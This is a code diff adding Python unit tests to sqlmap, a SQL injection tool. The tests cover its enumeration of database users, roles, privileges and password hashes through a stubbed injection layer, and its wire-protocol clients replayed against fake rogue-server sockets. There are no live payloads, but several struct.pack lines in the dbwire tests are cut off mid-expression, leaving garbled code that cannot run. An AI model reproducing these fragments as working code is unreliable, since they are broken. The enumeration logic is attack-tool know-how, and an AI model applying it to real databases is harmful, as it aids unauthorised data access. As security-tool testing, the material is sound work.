SQLite/PostgreSQL - do not + # import inject because their overrides return constants without querying) + self._has_inject = hasattr(self.module, "inject") + if self._has_inject: + self._gv = self.module.inject.getValue + + # kb.data cached* containers + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + self._cachedDbs = kb.data.get("cachedDbs") + self._cachedUsers = kb.data.get("cachedUsers") + self._cachedUsersRoles = kb.data.get("cachedUsersRoles") + self._cachedUsersPrivileges = kb.data.get("cachedUsersPrivileges") + self._has_information_schema = kb.data.get("has_information_schema") + + # state other tests are sensitive to + self._hintValue = kb.hintValue + self._injectionData = kb.injection.data + self._forcedDbms = Backend.getForcedDbms() + self._stickyDBMS = kb.stickyDBMS + + # avoid readInput EOFError flakiness and interactive prompts + conf.direct = True + conf.batch = True + + def tearDown(self): + conf.direct = self._direct + conf.batch = self._batch + conf.user = self._user + conf.db = self._db + conf.tbl = self._tbl + conf.exclude = self._exclude + + if self._has_inject: + self.module.inject.getValue = self._gv + + kb.data.cachedTables = self._cachedTables + kb.data.cachedColumns = self._cachedColumns + kb.data.cachedDbs = self._cachedDbs + kb.data.cachedUsers = self._cachedUsers + kb.data.cachedUsersRoles = self._cachedUsersRoles + kb.data.cachedUsersPrivileges = self._cachedUsersPrivileges + kb.data.has_information_schema = self._has_information_schema + + kb.hintValue = self._hintValue + kb.injection.data = self._injectionData + kb.stickyDBMS = self._stickyDBMS + if self._forcedDbms is not None: + Backend.forceDbms(self._forcedDbms) + else: + kb.forcedDbms = None + + +class TestOracleEnum(_EnumBaseA): + module = importlib.import_module("plugins.dbms.oracle.enumeration") + + def _handler(self): + from plugins.dbms.oracle import OracleMap + set_dbms("Oracle") + return OracleMap() + + def test_get_roles(self): + # rows are [GRANTEE, GRANTED_ROLE]; first column is the user, the rest roles + conf.user = None + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [ + ["SYS", "DBA"], ["SYS", "CONNECT"], ["SCOTT", "RESOURCE"] + ] + roles, areAdmins = self._handler().getRoles() + self.assertIn("SYS", roles) + self.assertIn("SCOTT", roles) + self.assertEqual(set(roles["SYS"]), {"DBA", "CONNECT"}) + # DBA implies administrator + self.assertIn("SYS", areAdmins) + + def test_get_roles_filtered_by_user(self): + # conf.user populates a WHERE clause; canned rows still drive the parse + conf.user = "SCOTT" + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [["SCOTT", "RESOURCE"]] + roles, _ = self._handler().getRoles() + self.assertEqual(list(roles.keys()), ["SCOTT"]) + self.assertEqual(roles["SCOTT"], ["RESOURCE"]) + + def test_get_roles_multiple_roles_per_user(self): + # a user appearing across several rows accumulates all granted roles + conf.user = None + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [ + ["APP", "CONNECT"], ["APP", "RESOURCE"], ["APP", "CREATE SESSION"] + ] + roles, _ = self._handler().getRoles() + self.assertEqual( + set(roles["APP"]), {"CONNECT", "RESOURCE", "CREATE SESSION"} + ) + + +class TestPostgreSQLEnum(_EnumBaseA): + module = importlib.import_module("plugins.dbms.postgresql.enumeration") + + def _handler(self): + from plugins.dbms.postgresql import PostgreSQLMap + set_dbms("PostgreSQL") + return PostgreSQLMap() + + def test_get_hostname_unsupported(self): + # PostgreSQL overrides getHostname purely to warn; it returns None + self.assertIsNone(self._handler().getHostname()) + + +class TestMySQLEnum(_EnumBaseA): + # MySQL's enumeration.py adds no overrides (it is a bare `pass`); cover the + # generic discovery path through the full MySQL handler instead. + module = importlib.import_module("plugins.generic.enumeration") + + def _handler(self): + from plugins.dbms.mysql import MySQLMap + set_dbms("MySQL") + return MySQLMap() + + def test_get_dbs(self): + conf.db = None + kb.data.cachedDbs = [] + kb.data.has_information_schema = True + self.module.inject.getValue = lambda q, *a, **k: ( + 3 if k.get("expected") == EXPECTED.INT + else [["information_schema"], ["testdb"], ["mysql"]] + ) + dbs = self._handler().getDbs() + self.assertIn("testdb", dbs) + self.assertEqual(set(kb.data.cachedDbs), set(dbs)) + + +class TestSQLiteEnum(_EnumBaseA): + module = importlib.import_module("plugins.dbms.sqlite.enumeration") + + def _handler(self): + from plugins.dbms.sqlite import SQLiteMap + set_dbms("SQLite") + return SQLiteMap() + + def test_unsupported_simple_overrides(self): + # SQLite overrides these to a warning + an empty/neutral return value + h = self._handler() + self.assertIsNone(h.getCurrentUser()) + self.assertIsNone(h.getCurrentDb()) + self.assertIsNone(h.getHostname()) + self.assertEqual(h.getUsers(), []) + self.assertEqual(h.getDbs(), []) + self.assertEqual(h.searchDb(), []) + self.assertEqual(h.getStatements(), []) + self.assertEqual(h.getPasswordHashes(), {}) + self.assertEqual(h.getPrivileges(), {}) + + def test_is_dba_always_true(self): + # on SQLite the current user is treated as having all privileges + self.assertTrue(self._handler().isDba()) + + def test_search_column_raises(self): + with self.assertRaises(SqlmapUnsupportedFeatureException): + self._handler().searchColumn() + + +# --------------------------------------------------------------------------- +# Base + helpers for Sybase/MaxDB/MSSQL extra/DB2/Informix/Firebird/HSQLDB +# (former test_dbms_enum_b.py) +# --------------------------------------------------------------------------- + +def _fresh_cached(): + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedUsers = [] + kb.data.cachedUsersPrivileges = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.banner = None + + +class _NoOpDumper(object): + """Swallow every dumper call so search methods don't emit/prompt.""" + + def __getattr__(self, name): + return lambda *a, **k: None + + +def _handler(display_name, dirname): + """Instantiate the full *Map handler for the given DBMS.""" + set_dbms(display_name) + main = importlib.import_module("plugins.dbms.%s" % dirname) + cls = [getattr(main, n) for n in dir(main) if n.endswith("Map")][0] + return cls() + + +class _EnumBaseB(unittest.TestCase): + """Snapshot/restore every global these enumerators mutate.""" + + # subclasses set these + display_name = None + dirname = None + + def setUp(self): + # config snapshot + self._direct = conf.direct + self._batch = conf.batch + self._db = conf.db + self._tbl = conf.tbl + self._col = conf.col + self._user = conf.user + self._exclude = conf.exclude + self._search = conf.search + self._getBanner = conf.getBanner + self._excludeSysDbs = conf.excludeSysDbs + self._dumper = conf.get("dumper") + + # kb snapshot + self._cached = {k: kb.data.get(k) for k in ( + "cachedDbs", "cachedTables", "cachedColumns", "cachedUsers", + "cachedUsersPrivileges", "cachedCounts", "cachedStatements", "banner", + )} + self._hintValue = kb.hintValue + self._injectionData = kb.injection.data + self._currentDb = kb.data.get("currentDb") + self._hasIS = kb.data.get("has_information_schema") + + # injection layer snapshot + self._gv = inject.getValue + self._cbe = getattr(inject, "checkBooleanExpression", None) + + # baseline config the in-band/non-interactive paths need + conf.direct = True + conf.batch = True + kb.data.has_information_schema = True + _fresh_cached() + + # restore the chosen DBMS for every test + self.handler = _handler(self.display_name, self.dirname) + # the enumeration module whose pivotDumpTable some tests stub + self.em = importlib.import_module("plugins.dbms.%s.enumeration" % self.dirname) + + def tearDown(self): + conf.direct = self._direct + conf.batch = self._batch + conf.db = self._db + conf.tbl = self._tbl + conf.col = self._col + conf.user = self._user + conf.exclude = self._exclude + conf.search = self._search + conf.getBanner = self._getBanner + conf.excludeSysDbs = self._excludeSysDbs + conf.dumper = self._dumper + + for k, v in self._cached.items(): + kb.data[k] = v + kb.hintValue = self._hintValue + kb.injection.data = self._injectionData + kb.data.currentDb = self._currentDb + kb.data.has_information_schema = self._hasIS + + inject.getValue = self._gv + if self._cbe is not None: + inject.checkBooleanExpression = self._cbe + if hasattr(self.em, "pivotDumpTable"): + # restore the pristine reference from the wrapper module + import lib.utils.pivotdumptable as _pdt + self.em.pivotDumpTable = _pdt.pivotDumpTable + + +# --------------------------------------------------------------------------- +# Sybase +# --------------------------------------------------------------------------- + +class TestSybaseEnum(_EnumBaseB): + display_name = "Sybase" + dirname = "sybase" + + def _pivot(self, *value_lists): + """Make em.pivotDumpTable return canned (entries, lengths) per call. + + Each successive call pops the next mapping of {colName: [values]}. + """ + calls = list(value_lists) + + def fake(table, colList, count=None, blind=True, alias=None): + mapping = calls.pop(0) if calls else {} + entries = {} + lengths = {} + for col in colList: + vals = mapping.get(col.split(".")[-1], []) + entries[col] = list(vals) + lengths[col] = 0 + return entries, lengths + + self.em.pivotDumpTable = fake + + def test_get_users(self): + self._pivot({"name": ["sa", "guest"]}) + users = self.handler.getUsers() + self.assertIn("sa", users) + self.assertIn("guest", users) + + def test_get_dbs(self): + self._pivot({"name": ["master", "model"]}) + dbs = self.handler.getDbs() + self.assertEqual(sorted(dbs), ["master", "model"]) + + def test_get_tables(self): + conf.db = "testdb" + self._pivot({"name": ["users", "logs"]}) + tables = self.handler.getTables() + self.assertIn("testdb", tables) + self.assertEqual(sorted(tables["testdb"]), ["logs", "users"]) + + def test_get_columns(self): + conf.db = "testdb" + conf.tbl = "users" + # column pivot returns name + usertype: REAL Sybase numeric type ids that + # getColumns resolves through SYBASE_TYPES (7 -> "int", 2 -> "varchar"). + from lib.core.dicts import SYBASE_TYPES + self._pivot({"name": ["id", "name"], "usertype": ["7", "2"]}) + cols = self.handler.getColumns() + self.assertIn("testdb", cols) + # table key is identifier-normalized (may be schema-qualified) + tbls = cols["testdb"] + self.assertTrue(any("users" in t for t in tbls)) + colset = list(tbls.values())[0] + # the VALUE is the resolved type name, not the raw usertype number: + # proves the SYBASE_TYPES numeric->name mapping actually ran. + self.assertEqual(colset["id"], SYBASE_TYPES[7]) # "int" + self.assertEqual(colset["name"], SYBASE_TYPES[2]) # "varchar" + + def test_get_privileges(self): + # getPrivileges -> getUsers (pivot) then isDba (checkBooleanExpression). + # Drive the admin-set branch BOTH ways via the isDba oracle so the result + # is not forced by a constant-True stub. + conf.user = None + + # oracle True: every user is flagged DBA -> admins == all users + self._pivot({"name": ["sa", "guest"]}) + inject.checkBooleanExpression = lambda *a, **k: True + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) # users still enumerated as privilege keys + self.assertIn("guest", privs) + self.assertEqual(admins, set(["sa", "guest"])) + + # oracle False: nobody is a DBA -> admins is empty, but users still listed + _fresh_cached() + self._pivot({"name": ["sa", "guest"]}) + inject.checkBooleanExpression = lambda *a, **k: False + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set()) + + def test_search_not_implemented(self): + # these intentionally return [] with a warning on Sybase + self.assertEqual(self.handler.searchDb(), []) + self.assertEqual(self.handler.searchTable(), []) + self.assertEqual(self.handler.searchColumn(), []) + + def test_get_hostname(self): + # not possible on Sybase; just must not raise + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# SAP MaxDB +# --------------------------------------------------------------------------- + +class TestMaxDBEnum(_EnumBaseB): + display_name = "SAP MaxDB" + dirname = "maxdb" + + def _pivot(self, *value_lists): + calls = list(value_lists) + + def fake(table, colList, count=None, blind=True, alias=None): + mapping = calls.pop(0) if calls else {} + entries = {} + lengths = {} + for col in colList: + vals = mapping.get(col.split(".")[-1], []) + entries[col] = list(vals) + lengths[col] = 0 + return entries, lengths + + self.em.pivotDumpTable = fake + + def test_get_dbs(self): + self._pivot({"schemaname": ["SYSTEM", "DOMAIN"]}) + dbs = self.handler.getDbs() + self.assertEqual(sorted(dbs), ["DOMAIN", "SYSTEM"]) + + def test_get_tables(self): + conf.db = "SYSTEM" + self._pivot({"tablename": ["USERS", "TABLES"]}) + tables = self.handler.getTables() + # db key is identifier-normalized (uppercase names get quoted) + self.assertEqual(len(tables), 1) + tbls = list(tables.values())[0] + self.assertEqual(sorted(tbls), ["TABLES", "USERS"]) + + def test_get_columns(self): + conf.db = "SYSTEM" + conf.tbl = "USERS" + self._pivot({ + "columnname": ["ID", "NAME"], + "datatype": ["INTEGER", "CHAR"], + "len": ["4", "32"], + }) + cols = self.handler.getColumns() + self.assertEqual(len(cols), 1) + tbls = list(cols.values())[0] + self.assertIn("USERS", tbls) + self.assertEqual(tbls["USERS"]["ID"], "INTEGER(4)") + + def test_get_privileges_empty(self): + self.assertEqual(self.handler.getPrivileges(), {}) + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Microsoft SQL Server (methods NOT covered by TestMSSQLServerEnum above) +# --------------------------------------------------------------------------- + +class TestMSSQLServerExtraEnum(_EnumBaseB): + display_name = "Microsoft SQL Server" + dirname = "mssqlserver" + + def test_get_privileges(self): + # getPrivileges -> getUsers (generic, inject.getValue) then isDba. + # Exercise the admin-set branch BOTH ways via the isDba oracle. + conf.user = None + inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] + + # oracle True: all users flagged DBA + inject.checkBooleanExpression = lambda *a, **k: True + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set(["sa", "BUILTIN\\Administrators"])) + + # oracle False: none are DBA -> empty admin set, users still enumerated + _fresh_cached() + inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] + inject.checkBooleanExpression = lambda *a, **k: False + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set()) + + def test_search_table(self): + conf.db = "testdb" + conf.tbl = "users" + # in-band branch: getValue returns matching table name(s) + inject.getValue = lambda q, *a, **k: ["users"] + # capture the discovered tables instead of dumping them + captured = {} + conf.dumper = _NoOpDumper() + self.handler.dumpFoundTables = lambda tables: captured.update(tables) + self.handler.searchTable() + # at least one database mapped to the matched table + flat = set() + for tbls in captured.values(): + flat.update(tbls) + self.assertTrue(any("users" in t for t in flat)) + + def test_search_column(self): + conf.db = "testdb" + conf.tbl = None + conf.col = "password" + # exact match (no wildcard) so no recursive getColumns call; + # getValue returns the tables that contain the column + inject.getValue = lambda q, *a, **k: ["users"] + captured = {} + conf.dumper = _NoOpDumper() + self.handler.dumpFoundColumn = lambda dbs, foundCols, colConsider: captured.update(dbs) + self.handler.searchColumn() + # the searched column was located in at least one table + flat = set() + for tbls in captured.values(): + flat.update(tbls) + self.assertTrue(any("users" in t for t in flat)) + + +# --------------------------------------------------------------------------- +# IBM DB2 +# --------------------------------------------------------------------------- + +class TestDB2Enum(_EnumBaseB): + display_name = "IBM DB2" + dirname = "db2" + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Informix +# --------------------------------------------------------------------------- + +class TestInformixEnum(_EnumBaseB): + display_name = "Informix" + dirname = "informix" + + def test_search_db(self): + self.assertEqual(self.handler.searchDb(), []) + + def test_search_table(self): + self.assertEqual(self.handler.searchTable(), []) + + def test_search_column(self): + self.assertEqual(self.handler.searchColumn(), []) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Firebird +# --------------------------------------------------------------------------- + +class TestFirebirdEnum(_EnumBaseB): + display_name = "Firebird" + dirname = "firebird" + + def test_get_dbs_empty(self): + self.assertEqual(self.handler.getDbs(), []) + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_search_db_empty(self): + self.assertEqual(self.handler.searchDb(), []) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# HSQLDB +# --------------------------------------------------------------------------- + +class TestHSQLDBEnum(_EnumBaseB): + display_name = "HSQLDB" + dirname = "hsqldb" + + def test_get_banner(self): + conf.getBanner = True + kb.data.banner = None + # getValue returns a single-element LIST; getBanner pipes it through + # unArrayizeValue, which must unwrap it to the scalar banner string. + inject.getValue = lambda q, *a, **k: ["HSQLDB 2.5.1"] + banner = self.handler.getBanner() + self.assertEqual(banner, "HSQLDB 2.5.1") + + def test_get_privileges_empty(self): + self.assertEqual(self.handler.getPrivileges(), {}) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + def test_get_current_db_default_schema(self): + from lib.core.settings import HSQLDB_DEFAULT_SCHEMA + self.assertEqual(self.handler.getCurrentDb(), HSQLDB_DEFAULT_SCHEMA) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dbwire.py b/tests/test_dbwire.py new file mode 100644 index 00000000000..10ba672c499 --- /dev/null +++ b/tests/test_dbwire.py @@ -0,0 +1,696 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Protocol-transcript coverage for the dependency-free wire clients in extra/dbwire: PostgreSQL SCRAM +server verification, MySQL capability negotiation, TDS framing and affected-row counts, Trino session +state, and the shared DB-API error/URL helpers. + +Network-free - a fake socket replays a recorded server transcript, so a hostile or malformed peer can be +expressed exactly. These are the cases that are awkward to reach against a real server: a rogue server +that does not know the password, a peer that never terminates a message, a server missing a mandatory +capability. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import base64 +import hashlib +import hmac +import os +import socket +import struct +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import extra.dbwire as dbwire +from extra.dbwire import clickhouse as _clickhouse +from extra.dbwire import connection_lost +from extra.dbwire import cubrid as _cubrid +from extra.dbwire import firebird as _firebird +from extra.dbwire import http_origin +from extra.dbwire import monetdb as _monetdb +from extra.dbwire import mysql as _mysql +from extra.dbwire import postgres as _postgres +from extra.dbwire import presto as _presto +from extra.dbwire import recvn +from extra.dbwire import sybase as _sybase +from extra.dbwire import tds as _tds + + +class FakeSocket(object): + """Replays `inbound` to the client and records everything the client writes.""" + + def __init__(self, inbound=b""): + self.inbound = bytearray(inbound) + self.sent = bytearray() + self.timeouts = [] + self.closed = False + + def feed(self, data): + self.inbound.extend(data) + + def recv(self, count): + if not self.inbound: + return b"" + chunk = bytes(self.inbound[:count]) + del self.inbound[:count] + return chunk + + def sendall(self, data): + self.sent.extend(data) + + def settimeout(self, value): + self.timeouts.append(value) + + def setsockopt(self, *_args): + pass + + def close(self): + self.closed = True + + +def _pg(mtype, payload): + return mtype + struct.pack("!I", len(payload) + 4) + payload + + +def _scram_transcript(password, client_nonce_from, server_extra="SRV", forge_signature=False, error=None): + """Builds an AuthenticationSASLContinue + SASLFinal pair the way a real server would.""" + + salt = b"0123456789abcdef" + iterations = 4096 + snonce = client_nonce_from + server_extra + server_first = "r=%s,s=%s,i=%d" % (snonce, base64.b64encode(salt).decode("ascii"), iterations) + if error is not None: + final = "e=%s" % error + else: + salted = hashlib.pbkdf2_hmac("sha256", password.encode("utf-8"), salt, iterations) + client_first_bare = "n=,r=%s" % client_nonce_from + auth_message = "%s,%s,c=biws,r=%s" % (client_first_bare, server_first, snonce) + server_key = hmac.new(salted, b"Server Key", hashlib.sha256).digest() + signature = hmac.new(server_key, auth_message.encode("ascii"), hashlib.sha256).digest() + if forge_signature: + signature = os.urandom(32) + final = "v=%s" % base64.b64encode(signature).decode("ascii") + return server_first, final + + +class PostgresScramTest(unittest.TestCase): + """RFC 5802 requires the CLIENT to authenticate the server too. dbwire has no TLS underneath, so this + verification is the only thing standing between a scan and a server that merely answers the port.""" + + def _run(self, password="secret", **kwargs): + sock = FakeSocket(_pg(b"R", struct.pack("!I", 10) + b"SCRAM-SHA-256\x00\x00")) + + def _feed_rest(): + sent = bytes(sock.sent) + client_first = sent[sent.index(b"SCRAM-SHA-256\x00") + 18:].decode("ascii") + nonce = [_[2:] for _ in client_first.split(",") if _.startswith("r=")][0] + server_first, final = _scram_transcript(password, nonce, **kwargs) + sock.feed(_pg(b"R", struct.pack("!I", 11) + server_first.encode("ascii"))) + sock.feed(_pg(b"R", struct.pack("!I", 12) + final.encode("ascii"))) + sock.feed(_pg(b"R", struct.pack("!I", 0))) + + original = sock.recv + + def recv(count): # top up lazily, once the client has sent its client-first + if not sock.inbound and b"SCRAM-SHA-256\x00" in bytes(sock.sent): + _feed_rest() + return original(count) + + sock.recv = recv + return _postgres._authenticate(sock, "user", password) + + def test_valid_server_is_accepted(self): + self._run() # returns on AuthenticationOk without raising + + def test_forged_server_signature_is_rejected(self): + """A server that does not hold the credentials cannot produce ServerSignature.""" + try: + self._run(forge_signature=True) + self.fail("a forged server signature was accepted") + except dbwire.OperationalError as ex: + self.assertIn("signature", str(ex)) + + def test_server_nonce_must_extend_the_client_nonce(self): + """A server answering with a nonce of its own has not seen the client's - RFC 5802 5.1.""" + + sock = FakeSocket(_pg(b"R", struct.pack("!I", 10) + b"SCRAM-SHA-256\x00\x00")) + original = sock.recv + + def recv(count): + if not sock.inbound and b"SCRAM-SHA-256\x00" in bytes(sock.sent): + server_first, final = _scram_transcript("secret", "COMPLETELYUNRELATED") + sock.feed(_pg(b"R", struct.pack("!I", 11) + server_first.encode("ascii"))) + sock.feed(_pg(b"R", struct.pack("!I", 12) + final.encode("ascii"))) + return original(count) + + sock.recv = recv + try: + _postgres._authenticate(sock, "user", "secret") + self.fail("an unrelated server nonce was accepted") + except dbwire.OperationalError as ex: + self.assertIn("nonce", str(ex)) + + def test_server_reported_error_is_surfaced(self): + try: + self._run(error="invalid-proof") + self.fail("a SCRAM error was ignored") + except dbwire.OperationalError as ex: + self.assertIn("invalid-proof", str(ex)) + + def test_low_iteration_count_is_rejected(self): + """A tiny iteration count makes an offline attack on the captured exchange cheap.""" + + sock = FakeSocket(_pg(b"R", struct.pack("!I", 10) + b"SCRAM-SHA-256\x00\x00")) + original = sock.recv + + def recv(count): + if not sock.inbound and b"SCRAM-SHA-256\x00" in bytes(sock.sent): + sent = bytes(sock.sent) + client_first = sent[sent.index(b"SCRAM-SHA-256\x00") + 18:].decode("ascii") + nonce = [_[2:] for _ in client_first.split(",") if _.startswith("r=")][0] + first = "r=%sSRV,s=%s,i=1" % (nonce, base64.b64encode(b"salt").decode("ascii")) + sock.feed(_pg(b"R", struct.pack("!I", 11) + first.encode("ascii"))) + return original(count) + + sock.recv = recv + self.assertRaises(dbwire.OperationalError, _postgres._authenticate, sock, "user", "secret") + + +def _mysql_handshake(server_caps): + """The initial handshake packet of a server advertising `server_caps`.""" + + payload = b"\x0a" + b"8.0.0-fake\x00" + struct.pack("> 16) & 0xffff) + payload += struct.pack(" auth read fails + except dbwire.Error: + sock = self._last_sock + sent = bytes(sock.sent) + self.assertTrue(sent, "client sent no handshake response") + flags = struct.unpack("BBHHBB", 4, 1 if eom else 0, len(body) + 8, 0, 0, 0) + body + + def test_message_is_reassembled_across_packets(self): + sock = FakeSocket(self._packet(b"AAA", eom=False) + self._packet(b"BBB", eom=True)) + self.assertEqual(_tds._read_message(sock), b"AAABBB") + + def test_unterminated_message_is_bounded(self): + """The packet length is 16-bit, so a per-packet cap can never fire: a peer that never sets EOM + would stream forever. The CUMULATIVE message is what must be bounded.""" + + chunk = self._packet(b"A" * 4000, eom=False) + sock = FakeSocket(chunk * 64) + + original = sock.recv + + def recv(count): # endless stream of non-final packets + if not sock.inbound: + sock.feed(chunk * 64) + return original(count) + + sock.recv = recv + saved = _tds._MAX_MESSAGE_LENGTH + try: + _tds._MAX_MESSAGE_LENGTH = 100000 + self.assertRaises(dbwire.InterfaceError, _tds._read_message, sock) + finally: + _tds._MAX_MESSAGE_LENGTH = saved + + def test_zero_length_packet_is_rejected(self): + sock = FakeSocket(struct.pack(">BBHHBB", 4, 1, 0, 0, 0, 0)) + self.assertRaises(dbwire.InterfaceError, _tds._read_message, sock) + + def test_done_token_carries_the_affected_row_count(self): + """DONE reports DoneRowCount when the DONE_COUNT status bit is set - the only place a DML + statement's affected-row count exists, since it returns no rows.""" + + done = struct.pack("BBHHBB", 4, 1, len(done) + 8, 0, 0, 0) + done) + description, rows, affected = _tds._parse_tokens(sock) + self.assertIsNone(description) + self.assertEqual(rows, []) + self.assertEqual(affected, 5000) + + def test_done_without_the_count_flag_is_not_a_row_count(self): + done = struct.pack("BBHHBB", 4, 1, len(done) + 8, 0, 0, 0) + done) + self.assertIsNone(_tds._parse_tokens(sock)[2]) + + +class SybaseLoginTest(unittest.TestCase): + """The TDS 5.0 LOGINREC is one fixed-layout record: every field sits at a byte offset the server counts + on, so a field that changes width silently shifts the credentials into the reserved area.""" + + def _loginrec(self): + return _sybase._loginrec("dbwire", "tester", "guest1234", "dbwire", "srv", "utf8", 2048) + + def test_field_offsets_match_the_fixed_layout(self): + login = self._loginrec() + self.assertEqual(len(login), 568 + 35, "LOGINREC is not the fixed 568 bytes plus a CAPABILITY token") + for offset, size, expected in ((0, 30, b"dbwire"), (31, 30, b"tester"), (62, 30, b"guest1234"), + (140, 30, b"dbwire"), (171, 30, b"srv"), (462, 10, b"dbwire"), + (525, 30, b"utf8"), (557, 6, b"2048")): + self.assertEqual(login[offset:offset + size].rstrip(b"\x00"), expected, offset) + self.assertEqual(login[offset + size:offset + size + 1], struct.pack("BBHHBB", 4, 1, len(blob) + 8, 0, 0, 0) + blob + return _sybase.Connection(Replay(packet), "utf-8")._read_response() + + def test_rowfmt_and_row(self): + blob = (b"\xee\x19\x00\x02\x00\x03one\x10\x07\x00\x00\x00\x38\x00" + b"\x03txt\x10\x02\x00\x00\x00\x27\x03\x00" + b"\xd1\x01\x00\x00\x00\x03abc" + b"\xfd\x10\x00\x02\x00\x01\x00\x00\x00") + description, rows, affected = self._response(blob) + self.assertEqual([_[0] for _ in description], ["one", "txt"]) + self.assertEqual(rows, [("1", "abc")]) + self.assertEqual(affected, 1) + + def test_done_row_count_is_four_bytes(self): + """Microsoft widened DoneRowCount to 8 bytes; ASE did not, so reading 8 here eats the next token.""" + + description, rows, affected = self._response(b"\xfd\x10\x00\x02\x00\x2a\x00\x00\x00") + self.assertIsNone(description) + self.assertEqual(affected, 42) + self.assertIsNone(self._response(b"\xfd\x00\x00\x02\x00\x2a\x00\x00\x00")[2], + "a row count without the DONE_COUNT status bit is meaningless") + + def test_server_error_is_raised_and_informational_message_is_not(self): + def eed(number, severity, message): + body = (struct.pack("BBHHBB", 4, 1, len(blob) + 8, 0, 0, 0) + blob), "utf-8") + self.assertEqual(connection._chunk, _sybase._PACKET_SIZE - 8) + connection._read_response() + self.assertEqual(connection._chunk, 8192 - 8) + + +class SybaseDecoderTest(unittest.TestCase): + def _column(self, dtype, scale=0, usertype=0): + col = _sybase._Column() + col.name, col.type, col.size, col.scale, col.usertype = "c", dtype, 0, scale, usertype + return col + + def test_numeric_is_the_mirror_image_of_the_microsoft_encoding(self): + """ASE sends a big-endian magnitude with 1 meaning negative; Microsoft sends little-endian with 1 + meaning positive. Sharing one decoder between the two silently returns wrong numbers.""" + + for raw, scale, expected in ((b"\x01\x00\x00\xbcaN", 3, "-12345.678"), + (b"\x00\x00\x00'\x0f", 2, "99.99"), + (b"\x00\x00\x00\x00\x01", 0, "1"), + (b"\x01\x00\x00\x00\x01", 0, "-1")): + self.assertEqual(_sybase._decode_numeric(raw, scale), expected, raw) + self.assertNotEqual(_sybase._decode_numeric(b"\x01\x00\x00\xbcaN", 3), + _tds._decode_numeric(b"\x01\x00\x00\xbcaN", 3)) + + def test_date_and_time_columns_survive_the_servers_conversion(self): + """Unclaimed date/time capabilities make ASE send both as a plain datetime; only the user type still + says how much of it the column holds.""" + + raw = struct.pack("iBiBi", 0, 0, 0, 0, 0)) + + connection._call = _call + prepare = _cubrid._Reader(struct.pack(">iBiBi", 0, stmt_type, 0, 0, 0)) + connection._execute(1, prepare) + + args, off = [], 1 # skip the function code, then walk [len(4)][value] args + payload = sent[0] + while off < len(payload): + (length,) = struct.unpack(">i", payload[off:off + 4]) + args.append(payload[off + 4:off + 4 + length]) + off += 4 + length + return bytearray(args[6])[0] # handle, flag, max_col_size, max_row, binds, fetch, auto_commit + + def test_dml_is_committed_by_the_execute_request(self): + self.assertEqual(self._auto_commit_byte(_cubrid._STMT_SELECT + 1), 1) + + def test_select_does_not_end_the_transaction(self): + self.assertEqual(self._auto_commit_byte(_cubrid._STMT_SELECT), 0) + + +class BoundedReadTest(unittest.TestCase): + """A length taken off the wire is attacker/corruption controlled: unchecked, it either reads until + memory runs out or (on a short buffer) hands back silently truncated data.""" + + def test_cubrid_short_response_is_not_silently_truncated(self): + reader = _cubrid._Reader(b"AB") + self.assertRaises(dbwire.InterfaceError, reader.raw, 8) + self.assertRaises(dbwire.InterfaceError, reader.raw, -1) + + def test_firebird_rejects_an_out_of_range_length(self): + wire = _firebird._Wire(FakeSocket()) + self.assertRaises(dbwire.InterfaceError, wire.recv, -1) + self.assertRaises(dbwire.InterfaceError, wire.recv, _firebird._MAX_MESSAGE_LENGTH + 1) + + def test_monetdb_unterminated_block_stream_is_bounded(self): + """The MAPI block length is a 15-bit field, so only the accumulated response can be bounded.""" + + block = struct.pack(" never ends + sock = FakeSocket(block * 32) + original = sock.recv + + def recv(count): + if not sock.inbound: + sock.feed(block * 32) + return original(count) + + sock.recv = recv + saved = _monetdb._MAX_MESSAGE_LENGTH + try: + _monetdb._MAX_MESSAGE_LENGTH = 100000 + self.assertRaises(dbwire.InterfaceError, _monetdb._getblock, sock) + finally: + _monetdb._MAX_MESSAGE_LENGTH = saved + + +class DecoderTest(unittest.TestCase): + """Byte fixtures for the socket-free decoders, taken from what the real servers put on the wire.""" + + def test_tds_column_name_is_a_character_count(self): + """COLMETADATA ColName is B_VARCHAR - a length in UCS-2 characters (MS-TDS 2.2.7.4), so the count + byte is followed by twice as many 